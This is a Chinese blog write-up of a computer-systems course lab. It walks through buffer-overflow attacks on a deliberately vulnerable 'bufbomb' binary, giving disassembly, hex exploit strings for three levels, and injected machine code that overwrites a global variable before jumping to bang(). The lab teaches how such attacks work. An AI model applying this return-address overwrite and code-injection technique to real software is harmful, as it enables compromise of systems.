缓冲区溢出攻击实验「建议收藏」

缓冲区溢出攻击实验「建议收藏」又一个计系系统的实验。

大家好,又见面了,我是你们的朋友全栈君。

    又一个计系系统的实验。这次实验是基于C语言中gets()的漏洞设计的。

    实验目标:理解程序函数调用中参数传递机制、掌握缓冲区溢出攻击方法、熟悉GDB调试工具和objdump反汇编工具。

    实验环境:Fedora 13。

    实验内容:本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡

要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改

 实验介绍

1. 攻击目标

实验程序为bufbomb。该程序中含有一个带有漏洞的getbuf()函数,其代码如下

int getbuf(){ char buf[12]; Gets(buf); return 1; }

系统函数gets()从标准输入设备读字符串,以回车结束读取,不会判断上限。

2. 攻击要求

目标程序bufbomb将执行test(),进而执行getbuf(),最终执行gets()。其中gets()会从标准输入设备读入数据。

1)getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。

2)getbuf()返回时,不返回到test(),而是直接返回到指定的fizz()函数,而且要求给fizz()函数传入一个黑客cookie值作为参数。其中cookie可以通过makecookie工具根据黑客姓名产生。——使用命令“./makecookie + 姓名”。

3)getbuf()返回时,不返回到test(),而是直接返回到指定的bang()函数,并且在返回到bang()之前,先修改全句变量global_value为你的黑客cookie值。

3. 攻击操作

已知bufbomb中有test()函数会调用getbuf()函数,并调用gets()从标准输入设备读入字符串。因此可以通过大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()栈帧,改变其返回地址——指向我们指定的函数。

具体操作如下:

1)使用gdb和objdump分析其栈帧结构,确定test()调用getbuf()后返回地址与buf缓冲区相对位置关系;
2)根据目标攻击函数地址,构造出传给gets()的数据(用于填充缓冲区并破坏栈帧结构)。将所构造的数据每字节用16进制数字表示(文本字符串,例如0x3用两个字符表示为“03”),并保存在exploit.txt文件中。
3)将exploit.txt文本文件中的数据通过sendstring工具转换成char类型的数据——保存在exploit_raw.txt中。比如利用管道“cat exploit.txt | ./sendstring | ./exploit_raw.txt”或通过重定向“./sendstring < exploit.txt > exploit_raw.txt”。
4)执行bufbomb,并将转换后的数据作为标准输入数据传入bufbomb。具体方法有多种,例如“cat exploit_raw.txt | bufbomb –t neo”、“bufbomb -t neo< exploit_raw.txt”。其中neo请替换成同学自己的名字。

5)将参数传入bufbomb时,也可指直接从exploit.txt文件开始,执行“$ cat exploit.txt | ./sendstring | ./bufbomb -t neo”。无需exploit_raw.txt的中转,直接由sendstring通过管道输入到bufbomb的标准输入设备中。


1.第一题

1.1 解题思路

找到getbuf代码,如下:

08048ad0 <getbuf>:

 8048ad0: 55                    push   %ebp

 8048ad1: 89 e5                 mov    %esp,%ebp  //将栈顶指针传给ebp

 8048ad3: 83 ec 28              sub    $0x28,%esp  //栈顶指针esp减去28,开辟28个地址空间

 8048ad6: 8d 45 e8              lea    -0x18(%ebp),%eax  //ebp-0x18的地址传给eax

 8048ad9: 89 04 24              mov    %eax,(%esp)

 8048adc: e8 df fe ff ff        call   80489c0 <Gets>  //在首地址为-0x18(%ebp)的位置输入字符串,字符串在栈帧中向上扩展。即当扩展到一定程度时,将会覆盖掉返回地址。

 8048ae1: c9                    leave  

 8048ae2: b8 01 00 00 00        mov    $0x1,%eax

 8048ae7: c3                    ret    

 8048ae8: 90                    nop

 8048ae9: 8d b4 26 00 00 00 00 lea    0x0(%esi,%eiz,1),%es

具体分析:

根据汇编代码,可以知道getbuf的栈帧结构如图1所示

缓冲区溢出攻击实验「建议收藏」

             图1

根据代码的注释和图1,可以知道,这道题只需要计算出从返回地址到字符串首地址之间有多少个字节,然后输入等长的字符串来覆盖返回地址。字符串首地址为ebp-0x18。为了使函数返回到smoke()函数,这里需要把字符串的最后四个字节设置为smoke()函数的地址。

1.2 解题过程

找到smoke()函数的地址,为0x08048eb0,注意这里的前缀0也要填入。

缓冲区溢出攻击实验「建议收藏」

              图2

字符串的后八位必须为b08e0408”,这样设置是因为字符串是存储在栈中,有先入后出的特点,所以需要把字符串按字节倒序填入栈中。对于其他的字节没有要求,只要凑够28位即可。总共需要输入32个字节。答案为:

00112233445566778899001122334455667788990011223344556677b08e0408

1.3 最终结果截图

缓冲区溢出攻击实验「建议收藏」

                图3


2. 第二题

2.1 解题思路

查看fizz代码,如下:

08048e60 <fizz>:

 8048e60: 55                    push   %ebp

 8048e61: 89 e5                 mov    %esp,%ebp

 8048e63: 83 ec 08              sub    $0x8,%esp

 8048e66:8b 45 08             mov    0x8(%ebp),%eax

 8048e69: 3b 05 d4 a1 04 08     cmp    0x804a1d4,%eax  //0x804a1d4存放就是用户的cookie值,即运行命令“./bufbomb -t wuxiaobin”时传入的。

 8048e6f: 74 1f                 je     8048e90 <fizz+0x30>

 8048e71: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e75: c7 04 24 8c 98 04 08 movl   $0x804988c,(%esp)

 8048e7c: e8 27 f9 ff ff        call   80487a8 <printf@plt>

 8048e81: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

 8048e88: e8 5b f9 ff ff        call   80487e8 <exit@plt>

 8048e8d: 8d 76 00              lea    0x0(%esi),%esi

 8048e90: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e94: c7 04 24 d9 95 04 08 movl   $0x80495d9,(%esp)

 8048e9b: e8 08 f9 ff ff        call   80487a8 <printf@plt>

 8048ea0: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

 8048ea7: e8 44 fc ff ff        call   8048af0 <validate>

 8048eac: eb d3                 jmp    8048e81 <fizz+0x21>

 8048eae: 89 f6                 mov    %esi,%esi

具体分析:

代码红色部分是fizz参数的位置,即ebp+0x8,在ebp之前的栈中存的是ebp旧值。

2.2 解题过程

这里根据test函数的代码,得出当test调用getbuf函数时,其部分栈帧结构如下:

缓冲区溢出攻击实验「建议收藏」

 图4  (图中地址是根据gdb调试得出的)

这里假设调用getbuf时,输入正确的字符串后,函数返回到fizz()函数,那么,test的栈帧结构将变成图5

缓冲区溢出攻击实验「建议收藏」

            图5

5中红色部分为fizz函数的栈帧结构,那么ebp+8的值就是图5中的所表示的ebp+8这个参数的字节地址范围,这个位置就是fizz的传入参数。那么这道题的答案也就知道了。根据图1和图5,这次需要输入40个字节的字符串。倒数第8至倒数第16个字节代表fizz的地址,倒数8个字节是传入的参数,fizz()函数的地址为“08048e60”,参数根据题目要求需要传入一个黑客cookie值,我的cookie值为0x5f374086”。

缓冲区溢出攻击实验「建议收藏」

                 图6

这里两个字符串依旧需要从尾部输入,也就是608e0408”和“8640375f”。那么答案就是:

00112233445566778899001122334455667788990011223344556677608e0408001122338640375f

2.3 最终结果截图

缓冲区溢出攻击实验「建议收藏」

                 图7

3. 第三题

3.1 解题思路

首先看bang()的代码,如下:

08048e10 <bang>:

 8048e10: 55                    push   %ebp

 8048e11: 89 e5                 mov    %esp,%ebp

 8048e13: 83 ec 08              sub    $0x8,%esp

 8048e16: a1 c4 a1 04 08        mov   0x804a1c4,%eax  //0x804a1c4global_value的存放地址

 8048e1b: 3b 05 d4 a1 04 08     cmp    0x804a1d4,%eax  //0x804a1d4存放用户的cookie

 8048e21: 74 1d                 je     8048e40 <tiao’shi+0x30>

 8048e23: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e27: c7 04 24 bb 95 04 08 movl   $0x80495bb,(%esp)

 8048e2e: e8 75 f9 ff ff        call   80487a8 <printf@plt>

 8048e33: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

 8048e3a: e8 a9 f9 ff ff        call   80487e8 <exit@plt>

 8048e3f: 90                    nop

 8048e40: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e44: c7 04 24 64 98 04 08 movl   $0x8049864,(%esp)

 8048e4b: e8 58 f9 ff ff        call   80487a8 <printf@plt>

 8048e50: c7 04 24 02 00 00 00 movl   $0x2,(%esp)

 8048e57: e8 94 fc ff ff        call   8048af0 <validate>

 8048e5c: eb d5                 jmp    8048e33 <bang+0x23>

 8048e5e: 89 f6                 mov    %esi,%esi

具体分析:

这道题和第二道题基本一样,唯一不同的是存放global_value的值不在栈中,根据ppt提示,这里需要用代码修改global_value的值,并把代码插入到字符串中。实现global_value修改的汇编代码容易,关键是怎么让它执行。下面实现代码执行的示意图

缓冲区溢出攻击实验「建议收藏」

            图8

3.2 解题过程

这里插入的代码为

movl $0x5f374086,%eax

movl %eax,0x804a1c4

movl $0x8048e10,%eax

jmp *%eax

这里需要将这些转成二进制代码,然后再填入字符串中。这里可以利用反汇编的手段,即objdumpexe文件反汇编成txt文件得到其二进制代码。具体方法如下:

(1)由于我们要插入的代码是汇编代码,所以只能在汇编程序中插入,那么就新建一个汇编程序文件tmp.s,在文件中写如代码,如图9所示。

缓冲区溢出攻击实验「建议收藏」

       图9

(2)接着对该tmp.s文件进行编译,生成tmp.o重定位目标程序

缓冲区溢出攻击实验「建议收藏」

               图10

缓冲区溢出攻击实验「建议收藏」

               图11

(3)

再对tmp.o文件进行反编译,生成tmp.txt文件

缓冲区溢出攻击实验「建议收藏」

                  图12

缓冲区溢出攻击实验「建议收藏」

         图13 反编译得到的txt文件内容

这就是修改global_value和跳转到bang()函数的代码。最后的工作是在返回地址那个地方填入这段代码的起始地址,即0xbfffb8f0。所以这道题的答案就是:

b88640375fa3c4a10408b8108e0408ffe00011223344556677889900f0b8ffbf

总共32个字节,代码占了17个字节,返回地址占了4个字节,其它随便填。

3.3 最终结果截图

缓冲区溢出攻击实验「建议收藏」

                 图14

最后的总结

这个实验最后一道题有一个坑点,就是答案在gdb里面调试的时候可以过,但在shell中直接运行过不了,这是因为linux系统有栈随机化的保护措施,可以避免一般的栈攻击,可以通过关闭栈随机化来运行第三道题的答案。具体关闭方法网上有很多,这里就不再说了。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/157996.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 计算机发展历史的四个阶段分别是_计算机发展的四个阶段及四个特点

    计算机发展历史的四个阶段分别是_计算机发展的四个阶段及四个特点篇一:计算机发展的四个阶段计算机技术发展的四个阶段第一代电子计算机第一台电子管计算机于1946年在美国制成,取名埃尼阿克(ENIAC)。在美国宾夕法尼亚大学诞生的。世界上第一台电子计算机是个庞然大物:重30吨,占地150平方米,肚子里装有18800只电子管。1.第一代计算机:电子管数字计算机(1946-1958年)硬件方面,逻辑元件采用电子管,主存储器采用汞延迟线、磁鼓、磁芯;外存储器采用磁带。…

    2022年8月31日
    1
  • ioctl() FIONREAD

    ioctl() FIONREAD函数名:ioctl  头文件:#include  功能:控制I/O设备,提供了一种获得设备信息和向设备发送控制参数的手段。用于向设备发控制和配置命令,有些命令需要控制参数,这些数据是不能用read/write读写的,称为Out-of-band数据。也就是说,read/write读写的数据是in-band数据,是I/O操作的主体,而ioctl命

    2022年7月23日
    28
  • Java基础:volatile详解

    Java基础:volatile详解Java基础:volatile1、volatile保证可见性1.1、JMM模型的引入1.2、volatile保证可见性的代码验证1.2.1、无可见性代码验证1.2.1、volatile保证可见性验证2、volatile不保证原子性问:请谈谈你对volatile的理解?答:volatile是Java虚拟机提供的轻量级的同步机制,它有3个特性:1)保证可见性2)不保证原子性3)禁止指令重排刚学完java基础,如果有人问你什么是volatile?它有什么作用的话,相信一定非常懵逼…可能看了答案,也完

    2022年7月18日
    12
  • Linux命令之解压缩:tar、zip、rar 命令

    Linux命令之解压缩:tar、zip、rar 命令一、简介解压缩是一个常用的操作,在Linux中通常比较常用的是tar命令,zip和rar命令则是Windows中比较常用。二、快速使用1.tar命令语法:tar[主选项+辅选项]文件或目录示例:#压缩文件file1和目录dir2到test.tar.gztar-zcvftest.tar.gzfile1dir2#…

    2022年6月11日
    29
  • 2020美赛A题翻译

    2020美赛A题翻译对于一些生活在海洋里的物种,全球海洋温度影响它们栖息地的质量。当对于它们的后续繁衍来说温度改变太大的时候,这些物种就会迁徙去寻找新的栖息地去更好地安放当前和未来的生殖繁衍。一个例子就是美国缅因州的龙虾的种群,它缓慢地往加拿大北部迁徙,那六更低的温度提供一个合适的栖息地环境。这种地理上的人口转移可能会对那些依赖海洋生物稳定性的公司的生计造成严重的破坏。您的团队已被苏格兰北大西洋渔业…

    2022年5月25日
    30
  • 欧拉筛法(线性筛)的学习理解

    前言在刚接触编程语言时,对于寻找素数,第一时间想到的便是二重循环暴力查找,其复杂度O(n),通过循环中只判断到根号n可以优化一些,不过复杂度也达不到预期。在数论的学习中,我学到了埃氏筛法,O(nloglogn)的算法,而在一些数据范围达到1e7这样的题目中,也很难让人满意,于是我便学习了欧拉筛法,也即O(n)的线性筛法。埃氏筛法埃氏筛法的基本思想:从2开始,将每个质数的倍数都…

    2022年4月5日
    74

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号